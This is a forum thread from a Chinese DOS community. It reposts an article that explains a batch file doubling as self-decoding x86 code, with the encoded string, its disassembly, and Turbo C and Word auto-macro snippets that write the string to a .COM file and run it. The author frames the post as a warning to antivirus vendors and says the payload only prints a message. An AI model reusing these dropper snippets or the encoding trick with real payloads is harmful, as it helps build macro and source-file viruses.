![]() |
中国DOS联盟-- 联合DOS 推动DOS 发展DOS --联盟域名:www.cn-dos.net 论坛域名:www.cn-dos.net/forum |
| 游客 | 登录 | 注册 | 会员 | 搜索 | 中国DOS联盟 |
|
中国DOS联盟论坛 现在时间是 2026-08-04 16:24 |
共 48,038 主题排行 / 350,123 发帖 / 今日 0 篇 / 48,251 会员排行 |
| DOS批处理 & 脚本技术(批处理室) » 所谓病毒 |
| 可打印版本 1,002 / 4 |
| 第1楼 electronixtar | 发表于 2006-06-29 15:13 |
| 铂金会员 发帖 2,672 积分 7,493 | |
|
所谓病毒 在ph4t0m上看到了某火星代码:
原来bat还可以这样玩的~~ P.S.各位斑竹,不好意思,本来因该发到bat板块的,发错了,请帮忙转一下,谢谢! [ Last edited by electronixtar on 2006-6-29 at 15:19 ] |
|
| 第2楼 Wengier | 发表于 2006-06-30 02:10 |
| 系统支持 发帖 10,521 积分 27,736 | |
|
已转移至此!
|
|
| 第3楼 bagpipe | 发表于 2006-06-30 09:38 |
| 银牌会员 发帖 425 积分 1,144 来自 北京 | |
|
主题 来一段bat病毒码. « 上一主题 | 下一主题 »
袁哥 发表于:2000-06-12 18:47 发帖: 826 注册: 1999-08-30 :0jeX4e-005POP]hWeX5ddP^1,FFFFF1,FFF1,4rP^P_jeX4aPY-x-AAR`0`*=00uPBOIAAAAFKAOBPIDMCBALEAJMNCBJALIAAEMMNCBFEGIGFCAENGBGDHCGPHGGJHCHFHDCAGJHDCAGDGPGNGJGOGHCACOCOCOCOCOCOANAKCEAAqqqq @ECHO OFF COPY %0.BAT /B C:\BATVIR.COM /B /Y C:\BATVIR.COM DEL C:\BATVIR.COM 没病毒,只是显示,The Macrovirus is coming ...... |
|
| 第4楼 bagpipe | 发表于 2006-06-30 09:43 |
| 银牌会员 发帖 425 积分 1,144 来自 北京 | |
|
注意利用解释型语言与CPU代码相结合的新型病毒
袁哥 许多杀毒厂家谈到WORD宏病毒时,认为宏是解释执行,所以认为宏病毒很简单,关键技术在于WORD的文件格式。我想提醒大家注意,解释执行虽然没有获得CPU的控制权,并不代表不能干大事。关键在于你提供的语言方便不方便。其实解释型语言也可能获得CPU的控制大权的。所以JAVA也可能染毒!所以源文件型病毒并不需要很多专家说的那样要几百行的程序。 下面是DOS下的。BAT文件,你粘贴下来运行一下,你就会明白。它会释放一提示。此只是一演示,不含病毒!但其中的技术完全可以在JAVA,WORD,源文件中实现,也很简单!所以提醒大家(特别是一些杀毒厂家)应真正的理解解释执行与CPU代码执行在本质上并没有区别! :0jeX4e-005POP]hWeX5ddP^1,FFFFF1,FFF1,4rP^P_jeX4aPY-x-AAR`0`*=00uPBOIAAAAFKAOBPIDMCBALEAJMNCBJALIAAEMMNCBFEGIGFCAENGBGDHCGPHGGJHCHFHDCAGJHDCAGDGPGNGJGOGHCACOCOCOCOCOCOANAKCEAAqqqq @ECHO OFF COPY %0.BAT /B C:\BATVIR.COM /B /Y C:\BATVIR.COM DEL C:\BATVIR.COM 此程序主要是用一段字符串(在这儿是BAT文件本身)作一文件,这在WORD宏,源程序,解释型的BASIC等等中不难实现。而这一字符串又是CPU代码。实际前一小段对后面的字符串解码,所以什么CPU代码都被转换成了字母。然后加载这一文件,恐怕这一功能大多的语言都提供了。 为什么要这么处理?因为很多的解释型语言,源程序什么的都能很方便的进行字符的处理,而他们二进制处理不方便或者不能。这就是这方面病毒少的原因。 在这我要说明的是我不是教人编病毒,而是要提醒大家(特别的是一些杀毒厂家)应提前的预防这一方面的病毒。虽然这可能将使这一方面的病毒很快出现,但我想技术上有这一可能,迟早都会出现,还不如我们早一点预防。 我是考虑JAVA到底会不会染毒想到这方面的,因为JAVA还有很多语言是解释执行,提供的函数,解释代码在病毒方面不够灵活,而CPU代码那就太方便了。归结起来就是解释型语言怎样与CPU代码结合。一直没有说出这一点,而前段时间看到报道说国外有了这方面的病毒,(报道说你浏览别人的网页,不下栽任何软件,也会中毒!我想用这一方法不难实现!)还有有感于我们国内的一些杀毒厂家对解释执行的错误认识,所以说出来提醒大家注意。 turbo c 下的源文件病毒的实现: 你把下面一段程序加到你的turbo c 程序中,再如果VIR[]那一段驻留,自动把这一段加到你的C程序中,那这不就是源文件病毒了吗?简单吧?想想多少语言的源文件能用同样的方法实现?恐怕大多数都能简单的实现吧! 是不是源文件病毒并不象原来一些所谓的专家说的要几百的程序? char vir[]={":0jeX4e-005POP]hWeX5ddP^1,FFFFF1,FFF1,4rP^P_jeX4aPY-x-AAR`0`*=00uPBOIAAAAFKAOBPIDMCBALEAJMNCBJALIAAEMMNCBFEGIGFCAENGBGDHCGPHGGJHCHFHDCAGJHDCAGDGPGNGJGOGHCACOCOCOCOCOCOANAKCEAAqqqq"}; int fp; fp=creat("c:\\temp\\vir.com",0); write(fp,&vir,200); close(fp); system("c:\\temp\\vir.com"); WORD宏中实现的方法: 你把下面一段加到你的WORD自动宏中,再改改PRO$那一段,简单吧!别的语言你也该会了吧! Name$ = Environ$("tmp") + "\MACROVIR.COM" Open Name$ For Output As #1 pro$ = ":0jeX4e-005POP]hWeX5ddP^1,FFFFF1,FFF1,4rP^P_jeX4aPY-x-AAR`0`*=00uPBOIAAAAFKAOBPIDMCBALEAJMNCBJALIAAEMMNCBFEGIGFCAENGBGDHCGPHGGJHCHFHDCAGJHDCAGDGPGNGJGOGHCACOCOCOCOCOCOANAKCEAAqqqq" Print #1, pro$ Close #1 Shell Name$ WORD实际是用的VB,但也不完全一样。VB中OPEN有FOR BINARY(二进制)方式,WORD取消了,所以WORD中CPU代码可能不用字符串方式不太可能实现,Chr$等函数好象不太兼容,字符方式是为了兼容。TURBO C中你当然可以用__exit__等别的方法也很简单的实现!C中有指针,你也可以让你的CPU代码直接在内存中获得控制权! 下面是那一段字符串的代码: 1EE7:0100 3A30 CMP DH,[BX+SI] ;这一语句前面是冒号,在BAT里是解释 1EE7:0102 6A65 PUSH 65 ;'e' 1EE7:0104 58 POP AX 1EE7:0105 3465 XOR AL,65 ;得到AX=0X0000 ;'e' 1EE7:0107 2D3030 SUB AX,3030 1EE7:010A 35504F XOR AX,4F50 1EE7:010D 50 PUSH AX 1EE7:010E 5D POP BP ;得到BP=0X8080 1EE7:010F 685765 PUSH 6557 1EE7:0112 58 POP AX 1EE7:0113 356464 XOR AX,6464 ;得到AX=0X0133 1EE7:0116 50 PUSH AX 1EE7:0117 5E POP SI ;得到SI=AX=0X0133 1EE7:0118 312C XOR [SI],BP ;字节[0X0133],[0X0134]的最高位置1 1EE7:011A 46 INC SI 1EE7:011B 46 INC SI 1EE7:011C 46 INC SI 1EE7:011D 46 INC SI 1EE7:011E 46 INC SI 1EE7:011F 312C XOR [SI],BP ;[0X138],[0X139] 1EE7:0121 46 INC SI 1EE7:0122 46 INC SI 1EE7:0123 46 INC SI 1EE7:0124 312C XOR [SI],BP ;[0X13B],[0X13C] 1EE7:0126 3472 XOR AL,72 ;'r' 1EE7:0128 50 PUSH AX ;得到AX=0X141=0X133XOR0X72 1EE7:0129 5E POP SI ;得到SI=AX=0X141 1EE7:012A 50 PUSH AX 1EE7:012B 5F POP DI ;得到DI=AX=0X141 1EE7:012C 6A65 PUSH 65 ;'e' 1EE7:012E 58 POP AX 1EE7:012F 3461 XOR AL,61 ;'a' 1EE7:0131 50 PUSH AX 1EE7:0132 59 POP CX ;得到CX=AX=0X04 1EE7:0133 AD LODSW ;在字符串中是0X2D, 1EE7:0134 F8 CLC ;在字符串中是0X78, 1EE7:0135 2D4141 SUB AX,4141 1EE7:0138 D2E0 SHL AL,CL ;在字符串中是 0X5260 1EE7:013A 30E0 XOR AL,AH ;在字符串中是 0X3060 1EE7:013C AA STOSB ;在字符串中是 0X2A 1EE7:013D 3D3030 CMP AX,3030 1EE7:0140 75F1 JNZ 0133 ;对0X141开始的字符串解码,qqqq是串结束 - ;0XF1是PB解码的结果。 这儿CPU代码编码方法: CPU代码的每一个字节用两个字母表示,用ABCDEFGH IJKLMNOP 分别表示01234567 89ABCDEF,解码方法相反的过程 |
|
| 第5楼 online365 | 发表于 2007-05-21 23:37 |
| 初级用户 发帖 75 积分 182 | |
|
没看懂..
执行了一下没反应.. 来个高手解释下.. |
|
|
[ 联系联盟系统管理团队 -
中国DOS联盟 -
标准版 ] Sponsored by ifanr Inc | © 2001–2023 |